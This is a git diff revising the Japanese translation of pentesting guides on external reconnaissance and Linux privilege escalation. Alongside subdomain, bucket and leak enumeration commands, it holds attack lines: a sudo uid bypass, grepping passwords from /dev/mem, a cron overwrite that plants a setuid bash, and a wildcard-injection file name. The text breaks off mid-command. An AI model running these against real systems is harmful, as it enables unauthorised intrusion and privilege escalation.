#Using google dns ### **ファビコン** -同じファビコンアイコンのハッシュを探すことで、ターゲットに関連するドメインやサブドメインを見つけることができることをご存知でしたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成されたツール[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)が行うことです。使用方法は次のとおりです: +同じファビコンアイコンのハッシュを探すことで、ターゲットに関連するドメインやサブドメインを見つけることができることをご存知でしたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールが行うことです。使用方法は次のとおりです: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -150,12 +150,12 @@ cronジョブを持つことは一般的です。 # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -サーバー上のすべてのドメイン証明書を更新することです。これは、これに使用されるCAが有効期限内に生成された時間を設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることが可能である**ことを意味します。\ +サーバー上のすべてのドメイン証明書を更新することです。これは、これに使用されるCAが有効期限内に生成された時間を設定しなくても、**証明書の透明性ログで同じ会社に属するドメインを見つけることが可能である**ことを意味します。\ この[**詳細情報のための書き込み**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)をチェックしてください。 ### Mail DMARC情報 -[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)のようなウェブサイトや、[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)のようなツールを使用して、**同じDMARC情報を共有するドメインとサブドメインを見つけることができます**。 +[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)のようなウェブサイトや、[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)のようなツールを使用して、**同じDMARC情報を共有するドメインとサブドメインを見つける**ことができます。 ### **パッシブテイクオーバー** @@ -171,7 +171,7 @@ cronジョブを持つことは一般的です。 IPスペースを所有する組織の名前がわかっているので、そのデータを使用してshodanで検索できます: `org:"Tesla, Inc."` 見つかったホストを確認して、TLS証明書に新しい予期しないドメインがないか確認してください。 -メインウェブページの**TLS証明書**にアクセスし、**組織名**を取得し、その名前を持つ**shodan**で知られているすべてのウェブページの**TLS証明書**内で検索できます。フィルター: `ssl:"Tesla Motors"`を使用するか、[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。 +メインウェブページの**TLS証明書**にアクセスし、**組織名**を取得し、その名前を持つ**shodan**で知られているすべてのウェブページの**TLS証明書**内で検索することができます。フィルター: `ssl:"Tesla Motors"`を使用するか、[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。 **Assetfinder** @@ -179,25 +179,23 @@ IPスペースを所有する組織の名前がわかっているので、その ### **脆弱性の検索** -いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)を確認してください。ある会社が**ドメインを使用しているが、所有権を失った**可能性があります。十分に安価であれば、それを登録し、会社に知らせてください。 +いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)を確認してください。おそらく、ある会社が**ドメインを使用しているが、所有権を失っている**かもしれません。十分に安価であれば、それを登録し、会社に知らせてください。 -もし**資産発見で既に見つけたIPとは異なるIPを持つドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行するべきです。実行中のサービスに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\ +もし、資産発見で既に見つけたものとは異なるIPを持つ**ドメインを見つけた場合**、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行するべきです。実行中のサービスに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\ &#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ - - ## サブドメイン > スコープ内のすべての会社、各会社のすべての資産、および会社に関連するすべてのドメインを知っています。 -見つかった各ドメインのすべての可能なサブドメインを見つける時が来ました。 +見つかった各ドメインのすべての可能なサブドメインを見つける時です。 > [!TIP] > ドメインを見つけるためのいくつかのツールや技術は、サブドメインを見つけるのにも役立つことに注意してください。 ### **DNS** -**DNS**レコードから**サブドメイン**を取得しようとしましょう。**ゾーン転送**も試みるべきです(脆弱な場合は報告する必要があります)。 +**DNS**レコードから**サブドメイン**を取得しようとしましょう。また、**ゾーン転送**を試みるべきです(脆弱な場合は報告する必要があります)。 ```bash dnsrecon -a -d tesla.com ``` @@ -314,7 +312,7 @@ python3 censys-subdomain-finder.py tesla.com ```bash python3 DomainTrail.py -d example.com ``` -- [**securitytrails.com**](https://securitytrails.com/) は、サブドメインとIP履歴を検索するための無料APIを提供しています +- [**securitytrails.com**](https://securitytrails.com/) は、サブドメインとIP履歴を検索するための無料APIを提供しています。 - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用してアクセスすることもできますし、このプロジェクトで使用されているスコープにアクセスすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) @@ -351,28 +349,28 @@ gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` -- [**puredns**](https://github.com/d3mondev/puredns): それは `massdns` も使用します。 +- [**puredns**](https://github.com/d3mondev/puredns): それはまた `massdns` を使用します。 ``` puredns bruteforce all.txt domain.com ``` -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、asyncioを使用してドメイン名を非同期にブルートフォースします。 +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、非同期にドメイン名をブルートフォースするために asyncio を使用します。 ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` ### 第二のDNSブルートフォースラウンド -オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変種を生成してさらに多くを見つけることができます。この目的のためにいくつかのツールが役立ちます: +オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変種を生成してさらに多くを見つけることができます。この目的のために役立つツールがいくつかあります: - [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えると、順列を生成します。 ```bash cat subdomains.txt | dnsgen - ``` -- [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えると、順列を生成します。 +- [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えられた場合、順列を生成します。 - **wordlist** の goaltdns 順列は [**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt) で入手できます。 ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` -- [**gotator**](https://github.com/Josue87/gotator)**:** ドメインとサブドメインを指定して順列を生成します。順列ファイルが指定されていない場合、gotatorは独自のファイルを使用します。 +- [**gotator**](https://github.com/Josue87/gotator)**:** ドメインとサブドメインを与えると、順列を生成します。順列ファイルが指定されていない場合、gotatorは独自のファイルを使用します。 ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` @@ -382,7 +380,7 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を行うための別のツールです。このツールは結果をブルートフォースします(DNSワイルドカードはサポートしていません)。 -- dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)から取得できます。 +- dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)で入手できます。 ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt @@ -403,15 +401,19 @@ echo www | subzuf facebook.com ``` ### **サブドメイン発見ワークフロー** -私が書いたブログ記事をチェックしてください。**Trickest workflows**を使用してドメインから**サブドメインの発見を自動化する**方法について説明しています。これにより、コンピュータでツールを手動で起動する必要がなくなります。 +私が書いたこのブログ記事をチェックしてください。**Trickest workflows**を使用してドメインから**サブドメインの発見を自動化する**方法について説明しています。これにより、コンピュータでツールを手動で起動する必要がなくなります。 -{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-discovery-using-workflow/ +{{#endref}} -{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ +{{#endref}} ### **VHosts / バーチャルホスト** -サブドメインに属する**1つまたは複数のウェブページ**を含むIPアドレスを見つけた場合、そのIP内の**ウェブがある他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを探すか、**そのIP内のVHostドメイン名をブルートフォースする**ことを試みることができます。 +もし、**サブドメインに属する1つまたは複数のウェブページ**を含むIPアドレスを見つけた場合、そのIP内の**ウェブを持つ他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを探すか、**そのIP内のVHostドメイン名をブルートフォースする**ことを試みることができます。 #### OSINT @@ -419,7 +421,7 @@ echo www | subzuf facebook.com **ブルートフォース** -ウェブサーバーに隠されたサブドメインがあると疑う場合は、それをブルートフォースしてみることができます: +もし、サブドメインがウェブサーバーに隠されていると疑う場合、ブルートフォースを試みることができます: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -436,27 +438,27 @@ VHostScan -t example.com > [!NOTE] > この技術を使用すると、内部/隠れたエンドポイントにアクセスできる場合があります。 -### **CORS ブルートフォース** +### **CORSブルートフォース** -時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。これらのシナリオでは、この動作を悪用して新しい **サブドメイン** を **発見** することができます。 +時には、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。これらのシナリオでは、この動作を悪用して新しい **サブドメイン** を **発見** することができます。 ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **バケットブルートフォース** -**サブドメイン**を探しているときは、**バケット**に**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)**してください。**\ +**サブドメイン**を探しているときは、**バケット**のいずれかに**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)**してください。**\ また、この時点でスコープ内のすべてのドメインを把握しているので、[**可能なバケット名をブルートフォースし、権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。 ### **モニタリング** -**新しいサブドメイン**が作成されたかどうかを**Certificate Transparency**ログを監視することで**モニタリング**できます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。 +**新しいサブドメイン**が作成されたかどうかを**モニタリング**するには、**Certificate Transparency**ログを監視することができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。 ### **脆弱性の検索** -可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\ -もし**サブドメイン**が**S3バケット**に**ポイント**している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。 +可能な[**サブドメインのテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\ +もし**サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。 -もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と、**ポートスキャン**(nmap/masscan/shodanを使用)を実施するべきです。実行中のサービスに応じて、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\ +もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**ポートスキャン**(**nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\ &#xNAN;_Noteとして、時々サブドメインがクライアントによって制御されていないIP内にホストされていることがあるため、スコープ外であることに注意してください。_ ## IPs @@ -468,7 +470,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: - [**https://securitytrails.com/**](https://securitytrails.com/) -特定のIPアドレスを指すドメインを確認するには、[**hakip2host**](https://github.com/hakluke/hakip2host)というツールを使用できます。 +特定のIPアドレスを指すドメインを確認するには、[**hakip2host**](https://github.com/hakluke/hakip2host)ツールを使用できます。 ### **脆弱性の検索** @@ -480,19 +482,19 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: > すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを把握しました。ウェブサーバーを探す時です。 -前のステップで、**発見したIPとドメインのリコン**をすでに実施しているかもしれませんので、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、もし見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。 +前のステップで、**発見されたIPとドメインのリコン**をすでに実行している可能性があるため、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを検索するための**迅速なトリック**を見ていきます。 -これは**ウェブアプリの発見**に**特化**しているため、**脆弱性**と**ポートスキャン**も実施するべきです(**スコープによって許可されている場合**)。 +これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープによって許可されている場合**)。 -**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます](../pentesting-network/#http-port-discovery)。\ -ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80(http)と443(https)に接続を試みます。さらに、他のポートを試すように指示することもできます: +**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用してここにあります](../pentesting-network/#http-port-discovery)。\ +ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80(http)と443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **スクリーンショット** -スコープ内に存在する**すべてのウェブサーバー**(会社の**IP**やすべての**ドメイン**、**サブドメイン**の中で)を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにして、すべてのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけで**、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。 +スコープ内に存在する**すべてのウェブサーバー**(会社の**IP**やすべての**ドメイン**、**サブドメイン**の中)を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにして、すべてのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけで**、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。 提案されたアイデアを実行するには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用できます。** @@ -500,7 +502,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## パブリッククラウド資産 -会社に属する潜在的なクラウド資産を見つけるには、**その会社を特定するキーワードのリストから始めるべきです**。たとえば、暗号会社の場合、次のような単語を使用することがあります:`"crypto", "wallet", "dao", "", <"subdomain_names">`。 +会社に属する潜在的なクラウド資産を見つけるためには、**その会社を特定するキーワードのリストから始めるべきです**。たとえば、暗号通貨会社の場合、次のような単語を使用することがあります:`"crypto", "wallet", "dao", "", <"subdomain_names">`。 また、**バケットで使用される一般的な単語のワードリスト**も必要です: @@ -510,7 +512,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a 次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](./#second-dns-bruteforce-round)を確認してください)。 -生成されたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。** +得られたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。** クラウド資産を探す際には、**AWSのバケット以上のものを探すべきです**。 @@ -529,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **脆弱性の検索** -メールは、**ウェブログインや認証サービス**(SSHなど)の**ブルートフォース**に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールの背後にいる**人物に関するさらなる情報**を提供してくれます。これはフィッシングキャンペーンに役立ちます。 +メールは、**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールの背後にいる**人物に関するさらなる情報**を提供してくれます。これはフィッシングキャンペーンに役立ちます。 ## 資格情報の漏洩 @@ -544,14 +546,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## 秘密の漏洩 -資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります: +資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。しかし、企業は**他の漏洩**によって影響を受ける可能性があり、その情報はこれらのデータベースには含まれていません: ### Githubの漏洩 資格情報やAPIは、**会社**やその**ユーザー**の**公開リポジトリ**で漏洩する可能性があります。\ **Leakos**という**ツール**を使用して、**組織**とその**開発者**のすべての**公開リポジトリ**を**ダウンロード**し、自動的に[**gitleaks**](https://github.com/zricethezav/gitleaks)を実行できます。 -**Leakos**は、提供された**URLに渡された**すべての**テキスト**に対して**gitleaks**を実行するためにも使用できます。時には**ウェブページにも秘密が含まれている**ことがあります。 +**Leakos**は、提供された**URL**に対して**gitleaks**を実行するためにも使用でき、時には**ウェブページにも秘密が含まれている**ことがあります。 #### Github Dorks @@ -564,19 +566,19 @@ github-leaked-secrets.md ### Pasteの漏洩 時には攻撃者や単なる従業員が**会社のコンテンツをペーストサイトに公開**します。これには**機密情報**が含まれている場合もあれば、含まれていない場合もありますが、検索するのは非常に興味深いです。\ -[**Pastos**](https://github.com/carlospolop/Pastos)というツールを使用して、80以上のペーストサイトを同時に検索できます。 +**Pastos**というツールを使用して、80以上のペーストサイトを同時に検索できます。 ### Google Dorks -古いですが金のようなGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。 +古いですが有用なGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、**[**Gorks**](https://github.com/carlospolop/Gorks)**のようなツールを使用してすべてを実行することができます。** -_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わらないことに注意してください。_ +_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わりません。_ ### **脆弱性の検索** **有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。 -## パブリックコードの脆弱性 +## 公開コードの脆弱性 会社が**オープンソースコード**を持っていることがわかった場合、それを**分析**し、**脆弱性**を探すことができます。 @@ -592,7 +594,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実 ## [**ウェブペンテスティング手法**](../../network-services-pentesting/pentesting-web/) -**バグハンター**によって見つけられる**脆弱性の大部分**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。 +**バグハンターによって見つけられた脆弱性の大多数**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。 また、[**オープンソースツールのウェブ自動スキャナー**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます。** @@ -606,10 +608,10 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実 2. 会社に属する**すべての資産**を見つけた(スコープ内で脆弱性スキャンを実行) 3. 会社に属する**すべてのドメイン**を見つけた 4. ドメインの**すべてのサブドメイン**を見つけた(サブドメインの乗っ取りはありますか?) -5. スコープ内の**すべてのIP**(CDNからのものとそうでないもの)を見つけた。 -6. **すべてのウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものはありますか?) -7. 会社に属する**すべての潜在的なパブリッククラウド資産**を見つけた。 -8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**が、**非常に簡単に大きな勝利をもたらす可能性がある**。 +5. スコープ内の**すべてのIP**(CDNからのものとそうでないもの)を見つけた +6. **すべてのウェブサーバー**を見つけ、**スクリーンショット**を撮った(より深く見る価値のある奇妙なものはありますか?) +7. 会社に属する**すべての潜在的なパブリッククラウド資産**を見つけた +8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる**。 9. **見つけたすべてのウェブをペンテストする** ## **フルリコン自動ツール** diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 5796b5ff7..189e27786 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -33,7 +33,7 @@ uname -a searchsploit "Linux Kernel" ``` 良い脆弱なカーネルのリストといくつかの**コンパイル済みのエクスプロイト**はここにあります: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) と [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。\ -他に**コンパイル済みのエクスプロイト**を見つけることができるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries)、[https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +他に**コンパイル済みのエクスプロイト**を見つけることができるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) そのウェブからすべての脆弱なカーネルバージョンを抽出するには、次のようにします: ```bash @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg署名の検証に失敗しました -**HTBのsmasher2ボックス**の**例**を確認して、この脆弱性がどのように悪用されるかを確認してください。 +**HTBのsmasher2ボックス**をチェックして、この脆弱性がどのように悪用されるかの**例**を確認してください。 ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -162,7 +162,7 @@ SSHアクセスがある場合、**openVAS**を使用して、マシンにイン ## プロセス -実行中の**プロセス**を確認し、**必要以上の特権を持っているプロセス**がないかチェックしてください(例えば、rootによって実行されているtomcatなど)。 +実行中の**プロセス**を確認し、どのプロセスが**必要以上の特権を持っているか**をチェックしてください(例えば、rootによって実行されているtomcatなど)。 ```bash ps aux ps -ef @@ -186,7 +186,7 @@ top -n 1 > > ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ はptraceのアクセス制御を管理します: > -> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つ限り、すべてのプロセスをデバッグできます。これがptracingの古典的な動作方法です。 +> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つ限り、すべてのプロセスをデバッグできます。これがptracingが機能していた古典的な方法です。 > - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグできます。 > - **kernel.yama.ptrace_scope = 2**: 管理者のみがptraceを使用できます。これはCAP_SYS_PTRACE権限が必要です。 > - **kernel.yama.ptrace_scope = 3**: ptraceでトレースできるプロセスはありません。一度設定されると、ptracingを再度有効にするには再起動が必要です。 @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` はシステムの**物理**メモリへのアクセスを提供し、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます。\ -通常、`/dev/mem` は**root**と**kmem**グループのみが読み取ることができます。 +`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\ +通常、`/dev/mem` は **root** と **kmem** グループのみに読み取り可能です。 ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDumpは、WindowsのSysinternalsツールスイートからのクラシックなProcDumpツールのLinux版です。入手先は[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDumpは、WindowsのSysinternalsツールスイートからのクラシックなProcDumpツールのLinux版です。入手先は[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)です。 ``` procdump -p 1714 @@ -293,7 +293,7 @@ strings *.dump | grep -i password | 機能 | プロセス名 | | ------------------------------------------------ | --------------------- | | GDM パスワード (Kali デスクトップ、Debian デスクトップ) | gdm-password | -| Gnome Keyring (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon | +| Gnome キーチェーン (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon | | LightDM (Ubuntu デスクトップ) | lightdm | | VSFTPd (アクティブ FTP 接続) | vsftpd | | Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 | @@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Scheduled/Cron jobs -スケジュールされたジョブが脆弱であるか確認してください。rootによって実行されるスクリプトを利用できるかもしれません(ワイルドカードの脆弱性?rootが使用するファイルを変更できますか?シンボリックリンクを使用しますか?rootが使用するディレクトリに特定のファイルを作成しますか?)。 +スケジュールされたジョブが脆弱であるか確認してください。ルートによって実行されるスクリプトを利用できるかもしれません(ワイルドカードの脆弱性?ルートが使用するファイルを変更できますか?シンボリックリンクを使用しますか?ルートが使用するディレクトリに特定のファイルを作成しますか?)。 ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -334,9 +334,9 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cronを使用したワイルドカードを含むスクリプト(ワイルドカードインジェクション) -もしルートによって実行されるスクリプトがコマンド内に“**\***”を含んでいる場合、これを利用して予期しないこと(例えば、特権昇格)を引き起こすことができます。例: +もしrootによって実行されるスクリプトがコマンド内に“**\***”を含んでいる場合、これを利用して予期しないこと(例えば、権限昇格)を引き起こすことができます。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` @@ -364,11 +364,11 @@ ln -d -s 1分、2分、または5分ごとに実行されているプロセスを検索するためにプロセスを監視できます。これを利用して特権を昇格させることができるかもしれません。 -例えば、**1分間に0.1秒ごとに監視**し、**実行回数が少ないコマンドでソート**し、最も実行されたコマンドを削除するには、次のようにします: +例えば、**1分間0.1秒ごとに監視**し、**実行回数が少ないコマンドでソート**し、最も実行されたコマンドを削除するには、次のようにします: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v 